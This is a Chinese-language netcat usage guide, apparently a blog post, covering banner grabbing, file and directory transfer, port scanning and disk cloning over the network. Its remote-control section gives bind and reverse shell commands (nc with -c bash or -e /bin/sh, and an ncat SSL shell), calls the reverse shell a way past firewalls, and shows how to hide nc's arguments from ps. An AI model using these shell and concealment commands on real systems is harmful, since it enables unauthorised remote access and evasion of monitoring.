神器netcat使用字典

目錄

  • 基礎(chǔ)使用
    • 單向偵聽
    • 雙向聊天
    • 日常習(xí)慣
  • 拓展使用
    • 正/反向域名解析
    • 傳輸?件/目錄;加密傳輸
    • 端口掃描,獲取banner信息
    • 遠(yuǎn)程克隆硬盤
    • 遠(yuǎn)控

基礎(chǔ)使用

1.最簡單的單向使用

使用:B(客戶端) ”nc 主機名/IP 端口號/服務(wù)名"
前提:A主機打開了端口(任何對外服務(wù)的端口),B主機使用nc命令連接。
示例:

  • nmap查看到172.16.70.140開了22端口,通常這是sshd的服務(wù)端口,nc上去看看(結(jié)果不一定準(zhǔn)確):

nc 172.16.70.140 22
SSH-2.0-OpenSSH_4.3

  • 使用主機名也可以,這次我們加一個 -v 參數(shù):

nc -v g.cn 80
Connection to g.cn 80 port [tcp/http] succeeded!

  • 端口號可以不用數(shù)字,用 /etc/services 里面的服務(wù)名來代替知名端口號,不是所有的系統(tǒng)自帶nc都支持:

nc dev3-140 ssh
SSH-2.0-OpenSSH_4.3

2.簡單雙向使用(chat)

A服務(wù)端:nc -lp 端口號
B客戶端:nc -nv Aip A端口號
實現(xiàn)雙向文本傳輸

3.隱藏命令行參數(shù)(培養(yǎng)日常使用習(xí)慣)

如果沒有提供命令行參數(shù),NetCat會提示你從標(biāo)準(zhǔn)輸入來輸入命令參數(shù),然后NetCat會在內(nèi)部解析輸入。用這種辦法輸入命令式參數(shù),可以用來防止借助“ps”來查看你的命令行參數(shù)。示例:

  • nc
    Cmd line: -l 1234

此時我們在系統(tǒng)上用ps命令查看nc的進(jìn)程,是看不到nc的參數(shù)的。如果我們直接在命令行寫上參數(shù),ps就能看到命令行參數(shù)了。

  • nc -l 1234
    // 上面命令我們一般能用ps命令查看到類似下面的信息。
  • ps aux|grep nc
    root 7332 0.0 0.0 1772 536 pts/4 S+ 10:38 0:00 nc -l 1234

拓展使用

1.正/反向域名解析

主機參數(shù)可以是一個名字或一個IP地址。

  • -n,接受IP地址,不再對計算機的名字或域名進(jìn)行解析。
  • 沒有-n,加上-v,NetCat可進(jìn)行正/反向域名解析,并警告the all-too-common problem of mismatched name in DNS。這會耗費稍多一點時間,但在某些情況下會有用處。如,你想知道某個IP的主機名,NetCat可省卻你手工查找的時間。
  • A機器使用參數(shù)運行nc:

/data/bin/nc -l 1234
...
B機器連接:
nc -v dev3-168 1234
Connection to dev3-168 1234 port [tcp/search-agent] succeeded!
...
接著在B機器輸入任何字符串并按Enter鍵,甲機器都能收到。

上面dev3-168是我的域中一個機器名,-v參數(shù)和-n參數(shù)都對主機名解析。都是-v參數(shù)可以通過ip反向解析出主機名。示例:

  • nc -v 172.16.70.140 1234
    dev3-140.dev.cn.tlan [172.16.70.140] 1234 (?) open

2.傳輸?件/目錄

  • 傳輸單個?件

A:nc -lp 333 > 1.mp4
B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1

或反向:

A:nc -q 1 -lp 333 < a.mp4
B: nc -nv 1.1.1.1 333 > 2.mp4

  • 傳輸目錄(多個文件)
    原理:輸出端打包壓縮包傳輸,輸入端解包。

A:tar -cvf - dir_name | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –

或使用bzip2或者其他工具壓縮

A:tar -cvf – dir_name | bzip2 -z | nc -l 1567
B:nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

  • 加密傳?件

A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > file.txt
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

或:

A:nc localhost 333 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
B:mcrypt –flush –bare -F -q -m ecb < file.txt | nc -lp 333

3.端口掃描

nc -nvz 1.1.1.1 1-65535

nc –vnzu 1.1.1.1 1-1024

默認(rèn)是TCP模式,-u參數(shù)調(diào)整為udp.
z 參數(shù)告訴netcat使用0 IO,連接成功后立即關(guān)閉連接, 不進(jìn)行數(shù)據(jù)交換
v 參數(shù)指使用冗余選項(即詳細(xì)輸出)
n 參數(shù)告訴netcat 不要使用DNS反向查詢IP地址的域名

命令會打印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務(wù)發(fā)送給你的文本信息。可作為基礎(chǔ)掃描,Banner信息可被修改,結(jié)果不一定準(zhǔn)確。

4.遠(yuǎn)程克隆硬盤

A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

dd是一個從磁盤讀取原始數(shù)據(jù)的工具,我通過netcat服務(wù)器重定向它的輸出流到其他機器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。

5.遠(yuǎn)控(彈出shell)

正向:

A:nc -lp 333 -c bash
B:nc 1.1.1.1 333

反向(繞過防火墻):

A:nc -lp 333
B:nc 1.1.1.1 333 -c bash

? 注:Windows?戶把bash改成cmd;

6.補充說明

Nc缺乏加密和?份驗證的能?
Ncat包含于nmap?具包中

A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B:ncat -nv 1.1.1.1 333 --ssl

7.個別參數(shù)詳解

  • v顯示詳細(xì)連接信息
    -v 參數(shù)可以將一些關(guān)于連接建立信息輸出到標(biāo)準(zhǔn)錯誤。-v參數(shù)多出現(xiàn)幾次,則顯示的信息會更多一些。如果-v參數(shù)沒有出現(xiàn),則NetCat將默默地工作,至到出現(xiàn)錯誤為止。

  • w設(shè)定建立鏈接時間
    -w num
    [root@dev3-140 opt]# nc -vvv g.cn 80 -w 1 //1秒后斷開連接
    Connection to g.cn 80 port [tcp/http] succeeded!
    [root@dev3-140 opt]# nc -vvv g.cn 80 -w 2 //2秒
    Connection to g.cn 80 port [tcp/http] succeeded!

  • p綁定端口
    " -p 端口 " 來綁定本地端口。除了因權(quán)限限制或端口已經(jīng)使用外,-p可以綁定任何端口。Root用戶可以綁定保留的1024以內(nèi)的端口。如果不用-p指定端口,則使用系統(tǒng)給定的未使用的端口。

  • l作為服務(wù)器
    -l 參數(shù)可以使NetCat以服務(wù)器狀態(tài)運行,即偵聽模式。
    nc -l -p 1234 [remote hostname] [remote port] 可以用來指定入連的主機和端口,如果申請連接的主機或端口不符指定,則會斷開連接。

A(1.1.1.1):nc -l -p 333 1.1.1.2 33
B(1.1.1.2):nc 1.1.1.1 333 -p 33

  • e執(zhí)行指定程序
    -e 參數(shù)后面跟一可執(zhí)行程序的名稱,當(dāng)一個連接(入或出)被建立時,這個程序被運行。需要說明的是,-e后的程序不能從NetCat的命令行接收參數(shù),如果有參數(shù)要傳遞,可能需要一個腳本。通常linux的發(fā)行版是不帶這個參數(shù)支持的,可以自己編譯,編譯時置-DGAPING_SECURITY_HOLE,則-e參數(shù)被NetCat支持。

A: nc
Cmd line: -l -p 333 1.1.1.2 33 -e /bin/sh
B:nc 1.1.1.1 -p 33
ls ---> 這是傳遞給1.1.1.1上/bin/sh的指令

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Netcat是什么 NC(netcat)被稱為網(wǎng)絡(luò)工具中的瑞士軍刀,體積小巧,但功能強大。 Nc主要功能 Nc可以...
    RedTeamWing閱讀 44,199評論 2 7
  • linux資料總章2.1 1.0寫的不好抱歉 但是2.0已經(jīng)改了很多 但是錯誤還是無法避免 以后資料會慢慢更新 大...
    數(shù)據(jù)革命閱讀 13,182評論 2 33
  • Netcat(Linux下NC命令)主要用途: 1.掃描制定ip端口情況。 2.端口監(jiān)聽,端口轉(zhuǎn)發(fā)。 3.提交自定...
    kevinhuangk閱讀 636評論 0 0
  • 好多天沒見了,有點想念 因為單位的事,停了幾天筆。這次試著用了下炭筆,還不大會用,親們能給我留言指導(dǎo)是最好啦。 我...
    阿拉斯加海灣0閱讀 268評論 2 3
  • 清明,雨,不變的冷和時晴 整晚在往耳朵里灌小虎隊,青春的感覺一下充斥滿屏,欲罷不能。自從決心考試,周末沒了...
    沙展獨酌閱讀 281評論 0 0

友情鏈接更多精彩內(nèi)容